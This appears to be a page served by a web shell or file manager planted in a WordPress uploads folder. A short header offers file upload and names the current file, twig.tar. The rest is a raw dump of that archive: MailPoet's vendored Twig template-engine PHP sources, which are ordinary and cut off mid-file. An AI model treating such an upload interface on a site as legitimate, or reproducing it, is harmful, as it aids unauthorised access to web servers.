Your IP : 216.73.217.176


Current Path : /home/bechata/mp/wp-content/uploads/2022/ejn73c/
Upload File :
Current File : /home/bechata/mp/wp-content/uploads/2022/ejn73c/twig.tar

twig/index.php000066600000000000150351206230007325 0ustar00twig/lib/index.php000066600000000000150351206230010073 0ustar00twig/src/Compiler.php000066600000005715150351206230010601 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Node; class Compiler { private $lastLine; private $source; private $indentation; private $env; private $debugInfo = []; private $sourceOffset; private $sourceLine; private $varNameSalt = 0; public function __construct(\MailPoetVendor\Twig\Environment $env) { $this->env = $env; } public function getEnvironment() { return $this->env; } public function getSource() { return $this->source; } public function compile(\MailPoetVendor\Twig\Node\Node $node, $indentation = 0) { $this->lastLine = null; $this->source = ''; $this->debugInfo = []; $this->sourceOffset = 0; $this->sourceLine = 1; $this->indentation = $indentation; $this->varNameSalt = 0; $node->compile($this); return $this; } public function subcompile(\MailPoetVendor\Twig\Node\Node $node, $raw = \true) { if (\false === $raw) { $this->source .= \str_repeat(' ', $this->indentation * 4); } $node->compile($this); return $this; } public function raw($string) { $this->source .= $string; return $this; } public function write(...$strings) { foreach ($strings as $string) { $this->source .= \str_repeat(' ', $this->indentation * 4) . $string; } return $this; } public function string($value) { $this->source .= \sprintf('"%s"', \addcslashes($value, "\0\t\"\$\\")); return $this; } public function repr($value) { if (\is_int($value) || \is_float($value)) { if (\false !== ($locale = \setlocale(\LC_NUMERIC, '0'))) { \setlocale(\LC_NUMERIC, 'C'); } $this->raw(\var_export($value, \true)); if (\false !== $locale) { \setlocale(\LC_NUMERIC, $locale); } } elseif (null === $value) { $this->raw('null'); } elseif (\is_bool($value)) { $this->raw($value ? 'true' : 'false'); } elseif (\is_array($value)) { $this->raw('array('); $first = \true; foreach ($value as $key => $v) { if (!$first) { $this->raw(', '); } $first = \false; $this->repr($key); $this->raw(' => '); $this->repr($v); } $this->raw(')'); } else { $this->string($value); } return $this; } public function addDebugInfo(\MailPoetVendor\Twig\Node\Node $node) { if ($node->getTemplateLine() != $this->lastLine) { $this->write(\sprintf("// line %d\n", $node->getTemplateLine())); $this->sourceLine += \substr_count($this->source, "\n", $this->sourceOffset); $this->sourceOffset = \strlen($this->source); $this->debugInfo[$this->sourceLine] = $node->getTemplateLine(); $this->lastLine = $node->getTemplateLine(); } return $this; } public function getDebugInfo() { \ksort($this->debugInfo); return $this->debugInfo; } public function indent($step = 1) { $this->indentation += $step; return $this; } public function outdent($step = 1) { if ($this->indentation < $step) { throw new \LogicException('Unable to call outdent() as the indentation would become negative.'); } $this->indentation -= $step; return $this; } public function getVarName() { return \sprintf('__internal_%s', \hash('sha256', __METHOD__ . $this->varNameSalt++)); } } \class_alias('MailPoetVendor\\Twig\\Compiler', 'MailPoetVendor\\Twig_Compiler'); twig/src/TemplateWrapper.php000066600000003206150351206230012134 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; final class TemplateWrapper { private $env; private $template; public function __construct(\MailPoetVendor\Twig\Environment $env, \MailPoetVendor\Twig\Template $template) { $this->env = $env; $this->template = $template; } public function render(array $context = []) : string { return $this->template->render($context, \func_get_args()[1] ?? []); } public function display(array $context = []) { $this->template->display($context, \func_get_args()[1] ?? []); } public function hasBlock(string $name, array $context = []) : bool { return $this->template->hasBlock($name, $context); } public function getBlockNames(array $context = []) : array { return $this->template->getBlockNames($context); } public function renderBlock(string $name, array $context = []) : string { $context = $this->env->mergeGlobals($context); $level = \ob_get_level(); if ($this->env->isDebug()) { \ob_start(); } else { \ob_start(function () { return ''; }); } try { $this->template->displayBlock($name, $context); } catch (\Throwable $e) { while (\ob_get_level() > $level) { \ob_end_clean(); } throw $e; } return \ob_get_clean(); } public function displayBlock(string $name, array $context = []) { $this->template->displayBlock($name, $this->env->mergeGlobals($context)); } public function getSourceContext() : \MailPoetVendor\Twig\Source { return $this->template->getSourceContext(); } public function getTemplateName() : string { return $this->template->getTemplateName(); } public function unwrap() { return $this->template; } } \class_alias('MailPoetVendor\\Twig\\TemplateWrapper', 'MailPoetVendor\\Twig_TemplateWrapper'); twig/src/Parser.php000066600000023066150351206230010262 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\BlockReferenceNode; use MailPoetVendor\Twig\Node\BodyNode; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\MacroNode; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\NodeCaptureInterface; use MailPoetVendor\Twig\Node\NodeOutputInterface; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Node\SpacelessNode; use MailPoetVendor\Twig\Node\TextNode; use MailPoetVendor\Twig\TokenParser\TokenParserInterface; class Parser { private $stack = []; private $stream; private $parent; private $handlers; private $visitors; private $expressionParser; private $blocks; private $blockStack; private $macros; private $env; private $importedSymbols; private $traits; private $embeddedTemplates = []; private $varNameSalt = 0; public function __construct(\MailPoetVendor\Twig\Environment $env) { $this->env = $env; } public function getVarName() { return \sprintf('__internal_%s', \hash('sha256', __METHOD__ . $this->stream->getSourceContext()->getCode() . $this->varNameSalt++)); } public function parse(\MailPoetVendor\Twig\TokenStream $stream, $test = null, $dropNeedle = \false) { $vars = \get_object_vars($this); unset($vars['stack'], $vars['env'], $vars['handlers'], $vars['visitors'], $vars['expressionParser'], $vars['reservedMacroNames']); $this->stack[] = $vars; if (null === $this->handlers) { $this->handlers = []; foreach ($this->env->getTokenParsers() as $handler) { $handler->setParser($this); $this->handlers[$handler->getTag()] = $handler; } } if (null === $this->visitors) { $this->visitors = $this->env->getNodeVisitors(); } if (null === $this->expressionParser) { $this->expressionParser = new \MailPoetVendor\Twig\ExpressionParser($this, $this->env); } $this->stream = $stream; $this->parent = null; $this->blocks = []; $this->macros = []; $this->traits = []; $this->blockStack = []; $this->importedSymbols = [[]]; $this->embeddedTemplates = []; $this->varNameSalt = 0; try { $body = $this->subparse($test, $dropNeedle); if (null !== $this->parent && null === ($body = $this->filterBodyNodes($body))) { $body = new \MailPoetVendor\Twig\Node\Node(); } } catch (\MailPoetVendor\Twig\Error\SyntaxError $e) { if (!$e->getSourceContext()) { $e->setSourceContext($this->stream->getSourceContext()); } if (!$e->getTemplateLine()) { $e->setTemplateLine($this->stream->getCurrent()->getLine()); } throw $e; } $node = new \MailPoetVendor\Twig\Node\ModuleNode(new \MailPoetVendor\Twig\Node\BodyNode([$body]), $this->parent, new \MailPoetVendor\Twig\Node\Node($this->blocks), new \MailPoetVendor\Twig\Node\Node($this->macros), new \MailPoetVendor\Twig\Node\Node($this->traits), $this->embeddedTemplates, $stream->getSourceContext()); $traverser = new \MailPoetVendor\Twig\NodeTraverser($this->env, $this->visitors); $node = $traverser->traverse($node); foreach (\array_pop($this->stack) as $key => $val) { $this->{$key} = $val; } return $node; } public function subparse($test, $dropNeedle = \false) { $lineno = $this->getCurrentToken()->getLine(); $rv = []; while (!$this->stream->isEOF()) { switch ($this->getCurrentToken()->getType()) { case 0: $token = $this->stream->next(); $rv[] = new \MailPoetVendor\Twig\Node\TextNode($token->getValue(), $token->getLine()); break; case 2: $token = $this->stream->next(); $expr = $this->expressionParser->parseExpression(); $this->stream->expect( 4 ); $rv[] = new \MailPoetVendor\Twig\Node\PrintNode($expr, $token->getLine()); break; case 1: $this->stream->next(); $token = $this->getCurrentToken(); if (5 !== $token->getType()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('A block must start with a tag name.', $token->getLine(), $this->stream->getSourceContext()); } if (null !== $test && $test($token)) { if ($dropNeedle) { $this->stream->next(); } if (1 === \count($rv)) { return $rv[0]; } return new \MailPoetVendor\Twig\Node\Node($rv, [], $lineno); } if (!isset($this->handlers[$token->getValue()])) { if (null !== $test) { $e = new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected "%s" tag', $token->getValue()), $token->getLine(), $this->stream->getSourceContext()); if (\is_array($test) && isset($test[0]) && $test[0] instanceof \MailPoetVendor\Twig\TokenParser\TokenParserInterface) { $e->appendMessage(\sprintf(' (expecting closing tag for the "%s" tag defined near line %s).', $test[0]->getTag(), $lineno)); } } else { $e = new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unknown "%s" tag.', $token->getValue()), $token->getLine(), $this->stream->getSourceContext()); $e->addSuggestions($token->getValue(), \array_keys($this->env->getTags())); } throw $e; } $this->stream->next(); $subparser = $this->handlers[$token->getValue()]; $node = $subparser->parse($token); if (null !== $node) { $rv[] = $node; } break; default: throw new \MailPoetVendor\Twig\Error\SyntaxError('Lexer or parser ended up in unsupported state.', $this->getCurrentToken()->getLine(), $this->stream->getSourceContext()); } } if (1 === \count($rv)) { return $rv[0]; } return new \MailPoetVendor\Twig\Node\Node($rv, [], $lineno); } public function getBlockStack() { return $this->blockStack; } public function peekBlockStack() { return isset($this->blockStack[\count($this->blockStack) - 1]) ? $this->blockStack[\count($this->blockStack) - 1] : null; } public function popBlockStack() { \array_pop($this->blockStack); } public function pushBlockStack($name) { $this->blockStack[] = $name; } public function hasBlock($name) { return isset($this->blocks[$name]); } public function getBlock($name) { return $this->blocks[$name]; } public function setBlock($name, \MailPoetVendor\Twig\Node\BlockNode $value) { $this->blocks[$name] = new \MailPoetVendor\Twig\Node\BodyNode([$value], [], $value->getTemplateLine()); } public function hasMacro($name) { return isset($this->macros[$name]); } public function setMacro($name, \MailPoetVendor\Twig\Node\MacroNode $node) { $this->macros[$name] = $node; } public function isReservedMacroName($name) { @\trigger_error(\sprintf('The "%s" method is deprecated since Twig 2.7 and will be removed in 3.0.', __METHOD__), \E_USER_DEPRECATED); return \false; } public function addTrait($trait) { $this->traits[] = $trait; } public function hasTraits() { return \count($this->traits) > 0; } public function embedTemplate(\MailPoetVendor\Twig\Node\ModuleNode $template) { $template->setIndex(\mt_rand()); $this->embeddedTemplates[] = $template; } public function addImportedSymbol($type, $alias, $name = null, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $node = null) { $this->importedSymbols[0][$type][$alias] = ['name' => $name, 'node' => $node]; } public function getImportedSymbol($type, $alias) { return $this->importedSymbols[0][$type][$alias] ?? $this->importedSymbols[\count($this->importedSymbols) - 1][$type][$alias] ?? null; } public function isMainScope() { return 1 === \count($this->importedSymbols); } public function pushLocalScope() { \array_unshift($this->importedSymbols, []); } public function popLocalScope() { \array_shift($this->importedSymbols); } public function getExpressionParser() { return $this->expressionParser; } public function getParent() { return $this->parent; } public function setParent($parent) { $this->parent = $parent; } public function getStream() { return $this->stream; } public function getCurrentToken() { return $this->stream->getCurrent(); } private function filterBodyNodes(\MailPoetVendor\Twig\Node\Node $node, bool $nested = \false) { if ($node instanceof \MailPoetVendor\Twig\Node\TextNode && !\ctype_space($node->getAttribute('data')) || !$node instanceof \MailPoetVendor\Twig\Node\TextNode && !$node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode && ($node instanceof \MailPoetVendor\Twig\Node\NodeOutputInterface && !$node instanceof \MailPoetVendor\Twig\Node\SpacelessNode)) { if (\false !== \strpos((string) $node, \chr(0xef) . \chr(0xbb) . \chr(0xbf))) { $t = \substr($node->getAttribute('data'), 3); if ('' === $t || \ctype_space($t)) { return; } } throw new \MailPoetVendor\Twig\Error\SyntaxError('A template that extends another one cannot include content outside Twig blocks. Did you forget to put the content inside a {% block %} tag?', $node->getTemplateLine(), $this->stream->getSourceContext()); } if ($node instanceof \MailPoetVendor\Twig\Node\NodeCaptureInterface) { return $node; } if (!$nested && $node instanceof \MailPoetVendor\Twig\Node\SpacelessNode) { @\trigger_error(\sprintf('Using the spaceless tag at the root level of a child template in "%s" at line %d is deprecated since Twig 2.5.0 and will become a syntax error in 3.0.', $this->stream->getSourceContext()->getName(), $node->getTemplateLine()), \E_USER_DEPRECATED); } if ($nested && ($node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode || $node instanceof \MailPoetVendor\Twig_Node_BlockReference)) { @\trigger_error(\sprintf('Nesting a block definition under a non-capturing node in "%s" at line %d is deprecated since Twig 2.5.0 and will become a syntax error in 3.0.', $this->stream->getSourceContext()->getName(), $node->getTemplateLine()), \E_USER_DEPRECATED); return; } if ($node instanceof \MailPoetVendor\Twig\Node\NodeOutputInterface && !$node instanceof \MailPoetVendor\Twig\Node\SpacelessNode) { return; } $nested = $nested || 'Twig_Node' !== \get_class($node) && \MailPoetVendor\Twig\Node\Node::class !== \get_class($node); foreach ($node as $k => $n) { if (null !== $n && null === $this->filterBodyNodes($n, $nested)) { $node->removeNode($k); } } return $node; } } \class_alias('MailPoetVendor\\Twig\\Parser', 'MailPoetVendor\\Twig_Parser'); twig/src/Markup.php000066600000001045150351206230010256 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; class Markup implements \Countable, \JsonSerializable { private $content; private $charset; public function __construct($content, $charset) { $this->content = (string) $content; $this->charset = $charset; } public function __toString() { return $this->content; } public function count() { return \mb_strlen($this->content, $this->charset); } public function jsonSerialize() { return $this->content; } } \class_alias('MailPoetVendor\\Twig\\Markup', 'MailPoetVendor\\Twig_Markup'); twig/src/TwigFunction.php000066600000004164150351206230011444 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\FunctionExpression; use MailPoetVendor\Twig\Node\Node; class TwigFunction { private $name; private $callable; private $options; private $arguments = []; public function __construct(string $name, $callable = null, array $options = []) { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $this->name = $name; $this->callable = $callable; $this->options = \array_merge(['needs_environment' => \false, 'needs_context' => \false, 'is_variadic' => \false, 'is_safe' => null, 'is_safe_callback' => null, 'node_class' => \MailPoetVendor\Twig\Node\Expression\FunctionExpression::class, 'deprecated' => \false, 'alternative' => null], $options); } public function getName() { return $this->name; } public function getCallable() { return $this->callable; } public function getNodeClass() { return $this->options['node_class']; } public function setArguments($arguments) { $this->arguments = $arguments; } public function getArguments() { return $this->arguments; } public function needsEnvironment() { return $this->options['needs_environment']; } public function needsContext() { return $this->options['needs_context']; } public function getSafe(\MailPoetVendor\Twig\Node\Node $functionArgs) { if (null !== $this->options['is_safe']) { return $this->options['is_safe']; } if (null !== $this->options['is_safe_callback']) { return $this->options['is_safe_callback']($functionArgs); } return []; } public function isVariadic() { return $this->options['is_variadic']; } public function isDeprecated() { return (bool) $this->options['deprecated']; } public function getDeprecatedVersion() { return $this->options['deprecated']; } public function getAlternative() { return $this->options['alternative']; } } \class_alias('MailPoetVendor\\Twig\\TwigFunction', 'MailPoetVendor\\Twig_SimpleFunction', \false); \class_alias('MailPoetVendor\\Twig\\TwigFunction', 'MailPoetVendor\\Twig_Function'); \class_exists('MailPoetVendor\\Twig\\Node\\Node'); twig/src/TokenParser/IncludeTokenParser.php000066600000002245150351206230015020 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\IncludeNode; use MailPoetVendor\Twig\Token; class IncludeTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $expr = $this->parser->getExpressionParser()->parseExpression(); list($variables, $only, $ignoreMissing) = $this->parseArguments(); return new \MailPoetVendor\Twig\Node\IncludeNode($expr, $variables, $only, $ignoreMissing, $token->getLine(), $this->getTag()); } protected function parseArguments() { $stream = $this->parser->getStream(); $ignoreMissing = \false; if ($stream->nextIf( 5, 'ignore' )) { $stream->expect( 5, 'missing' ); $ignoreMissing = \true; } $variables = null; if ($stream->nextIf( 5, 'with' )) { $variables = $this->parser->getExpressionParser()->parseExpression(); } $only = \false; if ($stream->nextIf( 5, 'only' )) { $only = \true; } $stream->expect( 3 ); return [$variables, $only, $ignoreMissing]; } public function getTag() { return 'include'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\IncludeTokenParser', 'MailPoetVendor\\Twig_TokenParser_Include'); twig/src/TokenParser/AbstractTokenParser.php000066600000000664150351206230015203 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Parser; abstract class AbstractTokenParser implements \MailPoetVendor\Twig\TokenParser\TokenParserInterface { protected $parser; public function setParser(\MailPoetVendor\Twig\Parser $parser) { $this->parser = $parser; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\AbstractTokenParser', 'MailPoetVendor\\Twig_TokenParser'); twig/src/TokenParser/SpacelessTokenParser.php000066600000002074150351206230015357 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\SpacelessNode; use MailPoetVendor\Twig\Token; final class SpacelessTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $lineno = $token->getLine(); @\trigger_error(\sprintf('The spaceless tag in "%s" at line %d is deprecated since Twig 2.7, use the "spaceless" filter with the "apply" tag instead.', $stream->getSourceContext()->getName(), $lineno), \E_USER_DEPRECATED); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideSpacelessEnd'], \true); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\SpacelessNode($body, $lineno, $this->getTag()); } public function decideSpacelessEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endspaceless'); } public function getTag() { return 'spaceless'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\SpacelessTokenParser', 'MailPoetVendor\\Twig_TokenParser_Spaceless'); twig/src/TokenParser/TokenParserInterface.php000066600000001150150351206230015327 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Parser; use MailPoetVendor\Twig\Token; interface TokenParserInterface { public function setParser(\MailPoetVendor\Twig\Parser $parser); public function parse(\MailPoetVendor\Twig\Token $token); public function getTag(); } \class_alias('MailPoetVendor\\Twig\\TokenParser\\TokenParserInterface', 'MailPoetVendor\\Twig_TokenParserInterface'); \class_exists('MailPoetVendor\\Twig\\Token'); \class_exists('MailPoetVendor\\Twig\\Parser'); twig/src/TokenParser/ForTokenParser.php000066600000010522150351206230014160 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\ForNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; use MailPoetVendor\Twig\TokenStream; final class ForTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $targets = $this->parser->getExpressionParser()->parseAssignmentExpression(); $stream->expect( 8, 'in' ); $seq = $this->parser->getExpressionParser()->parseExpression(); $ifexpr = null; if ($stream->nextIf( 5, 'if' )) { @\trigger_error(\sprintf('Using an "if" condition on "for" tag in "%s" at line %d is deprecated since Twig 2.10.0, use a "filter" filter or an "if" condition inside the "for" body instead (if your condition depends on a variable updated inside the loop).', $stream->getSourceContext()->getName(), $lineno), \E_USER_DEPRECATED); $ifexpr = $this->parser->getExpressionParser()->parseExpression(); } $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideForFork']); if ('else' == $stream->next()->getValue()) { $stream->expect( 3 ); $else = $this->parser->subparse([$this, 'decideForEnd'], \true); } else { $else = null; } $stream->expect( 3 ); if (\count($targets) > 1) { $keyTarget = $targets->getNode(0); $keyTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($keyTarget->getAttribute('name'), $keyTarget->getTemplateLine()); $valueTarget = $targets->getNode(1); $valueTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($valueTarget->getAttribute('name'), $valueTarget->getTemplateLine()); } else { $keyTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression('_key', $lineno); $valueTarget = $targets->getNode(0); $valueTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($valueTarget->getAttribute('name'), $valueTarget->getTemplateLine()); } if ($ifexpr) { $this->checkLoopUsageCondition($stream, $ifexpr); $this->checkLoopUsageBody($stream, $body); } return new \MailPoetVendor\Twig\Node\ForNode($keyTarget, $valueTarget, $seq, $ifexpr, $body, $else, $lineno, $this->getTag()); } public function decideForFork(\MailPoetVendor\Twig\Token $token) { return $token->test(['else', 'endfor']); } public function decideForEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endfor'); } private function checkLoopUsageCondition(\MailPoetVendor\Twig\TokenStream $stream, \MailPoetVendor\Twig\Node\Node $node) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression && $node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && 'loop' == $node->getNode('node')->getAttribute('name')) { throw new \MailPoetVendor\Twig\Error\SyntaxError('The "loop" variable cannot be used in a looping condition.', $node->getTemplateLine(), $stream->getSourceContext()); } foreach ($node as $n) { if (!$n) { continue; } $this->checkLoopUsageCondition($stream, $n); } } private function checkLoopUsageBody(\MailPoetVendor\Twig\TokenStream $stream, \MailPoetVendor\Twig\Node\Node $node) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression && $node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && 'loop' == $node->getNode('node')->getAttribute('name')) { $attribute = $node->getNode('attribute'); if ($attribute instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression && \in_array($attribute->getAttribute('value'), ['length', 'revindex0', 'revindex', 'last'])) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('The "loop.%s" variable is not defined when looping with a condition.', $attribute->getAttribute('value')), $node->getTemplateLine(), $stream->getSourceContext()); } } if ($node instanceof \MailPoetVendor\Twig\Node\ForNode) { return; } foreach ($node as $n) { if (!$n) { continue; } $this->checkLoopUsageBody($stream, $n); } } public function getTag() { return 'for'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\ForTokenParser', 'MailPoetVendor\\Twig_TokenParser_For'); twig/src/TokenParser/FromTokenParser.php000066600000002424150351206230014337 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\ImportNode; use MailPoetVendor\Twig\Token; final class FromTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $macro = $this->parser->getExpressionParser()->parseExpression(); $stream = $this->parser->getStream(); $stream->expect( 5, 'import' ); $targets = []; do { $name = $stream->expect( 5 )->getValue(); $alias = $name; if ($stream->nextIf('as')) { $alias = $stream->expect( 5 )->getValue(); } $targets[$name] = $alias; if (!$stream->nextIf( 9, ',' )) { break; } } while (\true); $stream->expect( 3 ); $var = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($this->parser->getVarName(), $token->getLine()); $node = new \MailPoetVendor\Twig\Node\ImportNode($macro, $var, $token->getLine(), $this->getTag(), $this->parser->isMainScope()); foreach ($targets as $name => $alias) { $this->parser->addImportedSymbol('function', $alias, 'macro_' . $name, $var); } return $node; } public function getTag() { return 'from'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\FromTokenParser', 'MailPoetVendor\\Twig_TokenParser_From'); twig/src/TokenParser/AutoEscapeTokenParser.php000066600000002540150351206230015464 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\AutoEscapeNode; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Token; final class AutoEscapeTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); if ($stream->test( 3 )) { $value = 'html'; } else { $expr = $this->parser->getExpressionParser()->parseExpression(); if (!$expr instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { throw new \MailPoetVendor\Twig\Error\SyntaxError('An escaping strategy must be a string or false.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $value = $expr->getAttribute('value'); } $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\AutoEscapeNode($value, $body, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endautoescape'); } public function getTag() { return 'autoescape'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\AutoEscapeTokenParser', 'MailPoetVendor\\Twig_TokenParser_AutoEscape'); twig/src/TokenParser/DeprecatedTokenParser.php000066600000001323150351206230015471 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\DeprecatedNode; use MailPoetVendor\Twig\Token; class DeprecatedTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $expr = $this->parser->getExpressionParser()->parseExpression(); $this->parser->getStream()->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); return new \MailPoetVendor\Twig\Node\DeprecatedNode($expr, $token->getLine(), $this->getTag()); } public function getTag() { return 'deprecated'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\DeprecatedTokenParser', 'MailPoetVendor\\Twig_TokenParser_Deprecated'); twig/src/TokenParser/BlockTokenParser.php000066600000004034150351206230014465 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\BlockReferenceNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Token; final class BlockTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $name = $stream->expect( 5 )->getValue(); if ($this->parser->hasBlock($name)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf("The block '%s' has already been defined line %d.", $name, $this->parser->getBlock($name)->getTemplateLine()), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $this->parser->setBlock($name, $block = new \MailPoetVendor\Twig\Node\BlockNode($name, new \MailPoetVendor\Twig\Node\Node([]), $lineno)); $this->parser->pushLocalScope(); $this->parser->pushBlockStack($name); if ($stream->nextIf( 3 )) { $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); if ($token = $stream->nextIf( 5 )) { $value = $token->getValue(); if ($value != $name) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Expected endblock for block "%s" (but "%s" given).', $name, $value), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } } else { $body = new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Node\PrintNode($this->parser->getExpressionParser()->parseExpression(), $lineno)]); } $stream->expect( 3 ); $block->setNode('body', $body); $this->parser->popBlockStack(); $this->parser->popLocalScope(); return new \MailPoetVendor\Twig\Node\BlockReferenceNode($name, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endblock'); } public function getTag() { return 'block'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\BlockTokenParser', 'MailPoetVendor\\Twig_TokenParser_Block'); twig/src/TokenParser/SandboxTokenParser.php000066600000002553150351206230015035 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\IncludeNode; use MailPoetVendor\Twig\Node\SandboxNode; use MailPoetVendor\Twig\Node\TextNode; use MailPoetVendor\Twig\Token; final class SandboxTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); if (!$body instanceof \MailPoetVendor\Twig\Node\IncludeNode) { foreach ($body as $node) { if ($node instanceof \MailPoetVendor\Twig\Node\TextNode && \ctype_space($node->getAttribute('data'))) { continue; } if (!$node instanceof \MailPoetVendor\Twig\Node\IncludeNode) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Only "include" tags are allowed within a "sandbox" section.', $node->getTemplateLine(), $stream->getSourceContext()); } } } return new \MailPoetVendor\Twig\Node\SandboxNode($body, $token->getLine(), $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endsandbox'); } public function getTag() { return 'sandbox'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\SandboxTokenParser', 'MailPoetVendor\\Twig_TokenParser_Sandbox'); twig/src/TokenParser/FlushTokenParser.php000066600000001114150351206230014510 